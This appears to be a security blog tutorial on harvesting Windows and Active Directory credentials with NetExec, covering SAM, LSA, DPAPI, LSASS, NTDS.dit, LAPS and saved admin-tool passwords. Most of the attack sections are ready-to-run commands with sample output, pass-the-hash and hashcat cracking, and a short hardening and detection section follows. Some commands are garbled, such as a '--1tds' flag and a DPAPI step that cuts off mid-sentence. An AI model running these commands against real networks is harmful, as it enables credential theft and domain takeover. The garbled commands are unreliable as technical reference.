Listen to this Post
Introduction:
In modern Active Directory environments, credentials are the currency of compromise. Attackers don’t need zero‑days when misconfigurations like stored Winlogon passwords, writable SAM dumps, and over‑permissive Backup Operators exist. NetExec (nxc) – the successor to CrackMapExec – automates credential extraction via SMB, WinRM, and LDAP, enabling red teams to simulate lateral movement and defenders to identify critical security gaps before real adversaries do.
Learning Objectives:
- Master SAM, LSA, and NTDS.dit dumping using NetExec over SMB.
- Extract plaintext credentials from DPAPI, Winlogon, PuTTY, mRemoteNG, and Wi‑Fi profiles.
- Apply Pass‑the‑Hash and offline cracking techniques to pivot across a Windows domain.
You Should Know:
1. SAM Dumping & Pass‑the‑Hash over SMB
NetExec authenticates to a target and extracts local account NTLM hashes directly from the SAM hive. These hashes can be used for lateral movement without cracking.
Step‑by‑step guide:
Dump SAM hashes from a remote Windows host nxc smb 192.168.1.80 -u ieuser -p '123' --sam Example output (truncated): SMB 192.168.1.80 445 WIN-DC01 [] Windows 10.0 Build 17763 x64 SMB 192.168.1.80 445 WIN-DC01 [+] ieuser:123 (Pwn3d!) SAM 192.168.1.80 445 WIN-DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Use the hash for Pass‑the‑Hash with Impacket impacket-psexec [email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
What it does: The `–sam` flag remotely accesses `%WINDIR%\System32\config\SAM` via SMB, decrypting the hashes using the boot key. The resulting NTLM hash lets you authenticate as that user without the plaintext password.
2. Extracting LSA Secrets and Winlogon Auto‑Login Credentials
LSA Secrets store service account passwords, cached logons, and – critically – plaintext Winlogon credentials when AutoAdminLogon is enabled.
Step‑by‑step guide:
Dump LSA secrets nxc smb 192.168.1.80 -u ieuser -p '123' --lsa Extract Winlogon autologon credentials via registry module nxc smb 192.168.1.80 -u ieuser -p '123' -M reg-winlogon Manual verification (Windows command on target) reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
Defender note: LSA secrets often include `DefaultPassword` in plaintext. Disable autologon for domain‑joined machines and restrict access to HKLM\SECURITY\Policy\Secrets.
- DPAPI Credential Recovery – Browser & Windows Vault
DPAPI encrypts user secrets using a master key tied to the user’s password. NetExec can decrypt stored credentials from Chrome, Edge, Firefox, and Credential Manager.
Step‑by‑step guide:
Dump DPAPI blobs and attempt decryption (requires user's password/hash) nxc smb 192.168.1.80 -u raj -p 'Password@1' --dpapi Output reveals: [] Windows Credential Manager: target=TERMSRV/192.168.1.10, username=admin, password=Admin123 [] Microsoft Edge: https://facebook.com, [email protected], password=MyP@ssw0rd
How to use offline: Copy the `%APPDATA%\Microsoft\Protect\dpapi::chrome to decrypt without live network access.
4. LSASS Memory Dumping with nanodump & LSASSASSY
Dumping LSASS process memory yields plaintext passwords, NTLM hashes, and Kerberos tickets. NetExec integrates two stealthy methods.
Step‑by‑step guide:
Using LSASSASSY (bypasses PPL) nxc smb 192.168.1.80 -u ieuser -p '123' -M lsassassy Using nanodump (writes to a file, then download) nxc smb 192.168.1.80 -u ieuser -p '123' -M nanodump -o DUMP=c:\temp\lsass.dmp nxc smb 192.168.1.80 -u ieuser -p '123' -M get -o GETFILE=c:\temp\lsass.dmp DEST=./lsass.dmp Parse with pypykatz pypykatz lsa minidump lsass.dmp
Linux alternative (if you have a shell): `procdump -ma lsass.exe lsass.dmp` (Sysinternals). For Windows native: `rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full`
5. Harvesting Third‑Party Tool Credentials (PuTTY, mRemoteNG, Notepad++)
NetExec scans configuration files of commonly used admin tools for stored passwords and private keys.
Step‑by‑step guide:
Extract PuTTY private keys (often saved with empty passphrase) nxc smb 192.168.1.80 -u ieuser -p '123' -M putty Dump mRemoteNG connection XML (contains encrypted passwords, key hardcoded) nxc smb 192.168.1.80 -u ieuser -p '123' -M mremoteng Retrieve Notepad++ session logs (may contain pasted credentials) nxc smb 192.168.1.80 -u ieuser -p '123' -M notepadplus View dumped key locally (after download) cat ./putty_privkey_192.168.1.80_username.ppk
Attack relevance: These tools are often installed on jump boxes and admin workstations. Compromising one yields credentials to production servers.
6. NTDS.dit Dumping and gMSA/LAPS Extraction
From an authenticated domain user, NetExec can remotely extract the entire NTDS.dit database (all domain hashes), Group Managed Service Account (gMSA) secrets, and LAPS passwords.
Step‑by‑step guide:
Dump NTDS.dit (requires admin privileges or Backup Operators group) nxc smb 192.168.1.10 -u domainadmin -p 'Pass123' --1tds Extract gMSA credentials (no admin needed if user has access) nxc smb 192.168.1.10 -u user -p 'Pass' -M gmsa Retrieve LAPS password for a specific computer nxc smb 192.168.1.10 -u lapsreader -p 'LapsRead' -M laps -o COMPUTER=WIN-DC01 Dump Wi-Fi profiles (including plaintext PSK if stored) nxc smb 192.168.1.80 -u ieuser -p '123' -M wifi
Post‑processing: Crack NTDS hashes with hashcat -m 1000 ntds.dit.hashes rockyou.txt. LAPS passwords are 14‑character random strings – use them directly for lateral movement.
7. Mitigations & Detection for Blue Teams
Defenders must assume NetExec will be used. The following measures disrupt all techniques above.
Step‑by‑step hardening:
Windows: Enable LSA Protection (Run as Admin) reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f Block SMB guest fallback and restrict NULL sessions Set-SmbClientConfiguration -EnableGuestFallback $false Audit Backup Operators group – remove unnecessary members net localgroup "Backup Operators" Deploy Credential Guard (Windows 10/11 Enterprise) Via Group Policy: Computer Config > Admin Templates > System > Device Guard > Turn on Virtualization Based Security
Detection rules (Sysmon Event ID 1, 10, 13):
- Process creation of
net.exe,reg.exe, `wmic.exe` accessing `SAM` or `SECURITY` hives. - LSASS memory access by non‑
lsass.exeprocesses (rulename=lsass_access). - Event ID 4662 (directory service object access) with `Control Access` right to
NTDS.
What Undercode Say:
- Key Takeaway 1: NetExec turns configuration flaws (Winlogon autologon, DPAPI master keys, unprivileged LSA access) into immediate domain compromise. Red teams can move from a single local admin to domain admin in under 10 minutes using `–1tds` and
--dpapi. - Key Takeaway 2: Most enterprise detections focus on Mimikatz, but NetExec’s SMB‑based modules bypass many EDRs because they use native Windows RPC calls (e.g.,
SamrConnect,LsarOpenSecret). Blue teams must monitor for unusual `svchost.exe` (DcomLaunch) child processes and registry query patterns toHKLM\SECURITY\Policy.
Analysis (10 lines): The shift from interactive tools to scripted post‑exploitation frameworks like NetExec reflects a broader adversary trend – speed and stealth over feature bloat. While SAM and LSASS dumping remain classics, the real game‑changers are the DPAPI and third‑party modules (mRemoteNG, PuTTY). They target the human tendency to store credentials for convenience. Moreover, NetExec’s ability to act as a “credential aggregator” – combining hashes from LSA, DPAPI, and NTDS – gives attackers multiple entry points into the same environment, making cleanup a nightmare. Defenders must adopt credential hygiene: disable autologon, enforce LSA Protection, and regularly rotate gMSA passwords. Finally, the rise of cloud‑synchronized identities (Azure AD Connect) means that NTDS hashes can lead to cloud compromise – a reality NetExec modules are beginning to address.
Prediction:
- +1 Organizations will start integrating NetExec into breach‑and‑attack simulation (BAS) platforms, turning it from a red team secret into a continuous validation tool.
- -1 As NetExec’s usage explodes, threat actors will weaponize its modules faster than Microsoft can patch underlying RPC weaknesses, leading to a wave of credential harvesting attacks against mid‑market firms that neglect basic AD hardening.
- +1 The security community will respond with open‑source detection packs (Sigma rules, Zeek scripts) specifically fingerprinting NetExec’s SMB command patterns, shifting the cat‑and‑mouse game to protocol‑level anomalies.
- -1 DPAPI and third‑party tool extraction will remain largely undetectable because they target user‑owned data (not system protected memory), forcing defenders to adopt application whitelisting and strict configuration management for admin utilities.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Credential Dumping – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
